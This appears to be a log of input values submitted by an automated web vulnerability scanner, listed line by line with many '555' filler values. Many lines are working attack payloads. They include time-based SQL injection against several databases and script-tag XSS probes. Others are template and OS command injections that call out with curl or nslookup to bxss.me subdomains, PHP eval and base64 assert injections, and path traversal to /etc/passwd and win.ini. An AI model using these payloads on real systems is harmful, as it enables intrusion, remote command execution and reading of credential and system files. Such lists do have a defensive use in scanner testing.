1 (select 198766*667891 from DUAL)

2 (select 198766*667891)

3 @@oQDzV

4 555위웬%2527%2522\'\"

5 555'"

6 555

7 555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

8 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

9 555GqThSkDJ')) OR 953=(SELECT 953 FROM PG_SLEEP(15))--

10 555my3wX4qt') OR 185=(SELECT 185 FROM PG_SLEEP(15))--

11 555cikUgOV2' OR 951=(SELECT 951 FROM PG_SLEEP(15))--

12 555-1)) OR 770=(SELECT 770 FROM PG_SLEEP(15))--

13 555-1) OR 356=(SELECT 356 FROM PG_SLEEP(15))--

14 555-1 OR 369=(SELECT 369 FROM PG_SLEEP(15))--

15 555zP7H5vEz')); waitfor delay '0:0:15' --

16 555Ky1MtPy3'); waitfor delay '0:0:15' --

17 555vyWJw4Lq'; waitfor delay '0:0:15' --

18 555-1 waitfor delay '0:0:15' --

19 555-1)); waitfor delay '0:0:15' --

20 555-1); waitfor delay '0:0:15' --

21 555-1; waitfor delay '0:0:15' --

22 (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

23 5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

24 5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

25 555*if(now()=sysdate(),sleep(15),0)

26 -1" OR 5*5=25 or "h5gtYy7s"="

27 -1' OR 5*5=25 or 'yzhNUVbE'='

28 -1" OR 5*5=25 --

29 -1' OR 5*5=25 --

30 -1 OR 5*5=25

31 -1 OR 5*5=25 --

32 555

33 555XmPog0SL

34 555

35 555

36 555

37 555

38 555

39 555

40 555

41 555

42 555

43 555

44 555

45 555

46 555

47 555

48 555

49 555

50 555

51 555

52 555

53 555

54 555

55 555

56 555

57 555

58 555

59 555

60 555

61 555

62 555

63 555

64 555

65 555

66 555

67 555

68 555

69 5559079934

70 555

71 555

72 '"()&%〈zzz〉〈ScRiPt 〉4XJi(9937)〈/ScRiPt〉

73 555

74 {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitrdqpdryhisa5292.bxss.me")}}

75 555

76 555'"()&%〈zzz〉〈ScRiPt 〉4XJi(9215)〈/ScRiPt〉

77 555

78 555

79 555

80 555

81 555

82 555

83 555

84 555

85 555

86 555

87 555

88 555

89 555

90 555

91 555

92 555

93 555

94 &(nslookup${IFS}-q${IFS}cname${IFS}hitwktzemlmaz6a46a.bxss.me||curl${IFS}hitwktzemlmaz6a46a.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitwktzemlmaz6a46a.bxss.me||curl${IFS}hitwktzemlmaz6a46a.bxss.me)&`'

95 |(nslookup${IFS}-q${IFS}cname${IFS}hitpjjiwxhpyp6ead6.bxss.me||curl${IFS}hitpjjiwxhpyp6ead6.bxss.me)

96 555

97 ;(nslookup -q=cname hitdbdbjropke32381.bxss.me||curl hitdbdbjropke32381.bxss.me)|(nslookup -q=cname hitdbdbjropke32381.bxss.me||curl hitdbdbjropke32381.bxss.me)&(nslookup -q=cname hitdbdbjropke32381.bxss.me||curl hitdbdbjropke32381.bxss.me)

98 `(nslookup -q=cname hitadbgcexjdvfbffc.bxss.me||curl hitadbgcexjdvfbffc.bxss.me)`

99 555

100 gethostbyname(lc('hitzf'.'phlbrblod3b7f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(81).chr(97).chr(89)

101 |(nslookup -q=cname hityxjqoodhcy23c86.bxss.me||curl hityxjqoodhcy23c86.bxss.me)

102 &(nslookup -q=cname hitxuvmdfqjay2b282.bxss.me||curl hitxuvmdfqjay2b282.bxss.me)&'\"`0&(nslookup -q=cname hitxuvmdfqjay2b282.bxss.me||curl hitxuvmdfqjay2b282.bxss.me)&`'

103 &nslookup -q=cname hitqstdllvgjg63ba1.bxss.me&'\"`0&nslookup -q=cname hitqstdllvgjg63ba1.bxss.me&`'

104 $(nslookup -q=cname hitsginyqneif06bfd.bxss.me||curl hitsginyqneif06bfd.bxss.me)

105 555"||sleep(27*1000)*roqyny||"

106 (nslookup -q=cname hitbdcjkcdmvu9cfb9.bxss.me||curl hitbdcjkcdmvu9cfb9.bxss.me))

107 555'||sleep(27*1000)*ehvvsd||'

108 expr 9000116355 - 921696

109 555"&&sleep(27*1000)*zbvpjg&&"

110 555|echo jbvfcg$()\ mrvuoa\nz^xyu||a #' |echo jbvfcg$()\ mrvuoa\nz^xyu||a #|" |echo jbvfcg$()\ mrvuoa\nz^xyu||a #

111 |echo edzaad$()\ ssvgke\nz^xyu||a #' |echo edzaad$()\ ssvgke\nz^xyu||a #|" |echo edzaad$()\ ssvgke\nz^xyu||a #

112 555

113 '.print(md5(31337)).'

114 555&echo xusfgk$()\ grszur\nz^xyu||a #' &echo xusfgk$()\ grszur\nz^xyu||a #|" &echo xusfgk$()\ grszur\nz^xyu||a #

115 〈!--

116 ${@print(md5(31337))}\

117 &echo stcxjb$()\ phlrzi\nz^xyu||a #' &echo stcxjb$()\ phlrzi\nz^xyu||a #|" &echo stcxjb$()\ phlrzi\nz^xyu||a #

118 ${@print(md5(31337))}

119 '{"

120 echo itqiog$()\ jemvuy\nz^xyu||a #' &echo itqiog$()\ jemvuy\nz^xyu||a #|" &echo itqiog$()\ jemvuy\nz^xyu||a #

121 ";print(md5(31337));$a="

122 555

123 ".gethostbyname(lc("hitam"."htnopvldbf4f2.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(71).chr(100).chr(84)."

124 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

125 xfs.bxss.me

126 ';print(md5(31337));$a='

127 '.gethostbyname(lc('hitsp'.'bvsluvab3dbd6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(67).chr(107).chr(71).'

128 555

129 ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

130 555

131 555

132 555'&&sleep(27*1000)*dlcslt&&'

133 repl_proc.asp/.

134 repl_proc.asp

135 Http://bxss.me/t/fit.txt

136 555

137 repl_proc.asp

138 bxss.me

139 c:/windows/win.ini

140 555

141 555

142 555

143 '"()

144 555

145 555

146 555

147 'A'.concat(70-3).concat(22*4).concat(108).concat(79).concat(115).concat(68)+(require'socket' Socket.gethostbyname('hitmx'+'ufwouzkva7ee2.bxss.me.')[3].to_s)

148

149 555

150 '+'A'.concat(70-3).concat(22*4).concat(118).concat(70).concat(111).concat(82)+(require'socket' Socket.gethostbyname('hitar'+'etajrflze931a.bxss.me.')[3].to_s)+'

151 555

152 "+"A".concat(70-3).concat(22*4).concat(98).concat(75).concat(111).concat(85)+(require"socket" Socket.gethostbyname("hitnb"+"jorourlmf4a9d.bxss.me.")[3].to_s)+"

153

154 555

155 bxss.me/t/xss.html?%00

156

157 555

158 555

159 555

160 HttP://bxss.me/t/xss.html?%00

161 ../../../../../../../../../../../../../../etc/shells

162 555

163 555

164 /etc/shells

165 555

166 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs

167 555

168 555

169 redirtest.acx?555

170 555

171 555

172 redirtest.acx

173 +response.write(9793774*9127914)'

174 〈% response.write(9793774*9127914) %〉

175 "+response.write(9793774*9127914)+"

176 555

177 '+response.write(9793774*9127914)+'

178 response.write(9793774*9127914)

179 555

180 555

181 555

182 555

183 555

184 555

185 555

186 ^(#$!@#$)(()))******

187 ../555

188 555

189 !(()&&!|*|*|

190 555

191 555

192 )

193 555

194 555

195 file:///etc/passwd

196 555

197 ../../../../../../../../../../../../../../windows/win.ini

198 555

199 555

200 555

201 555

202 555

203 555

204 ../../../../../../../../../../../../../../etc/passwd

205 555

206 555

207 555

208 555

209 555

210 555&n996342=v930414

211 555

212 555

213 555

214 555

215 555

216 555

217 555

218 ${10000487+9999314}

219 555

220 555

221 555

222 555

223 555

224 555

225 555

226 555

227 555

228 555

229 555

230 gpEUMpKS: 8XfFGuIe

231 z5tSIh70

232 555

233 555

234 555

235 555

236 555

237 555

238 555

239 555

240 555

241 555

242 555

243 555

244 /../../../../../../../../../../windows/system32/BITSADMIN.exe

245 13BKO638V0

246 555

247 555

248 555

249 555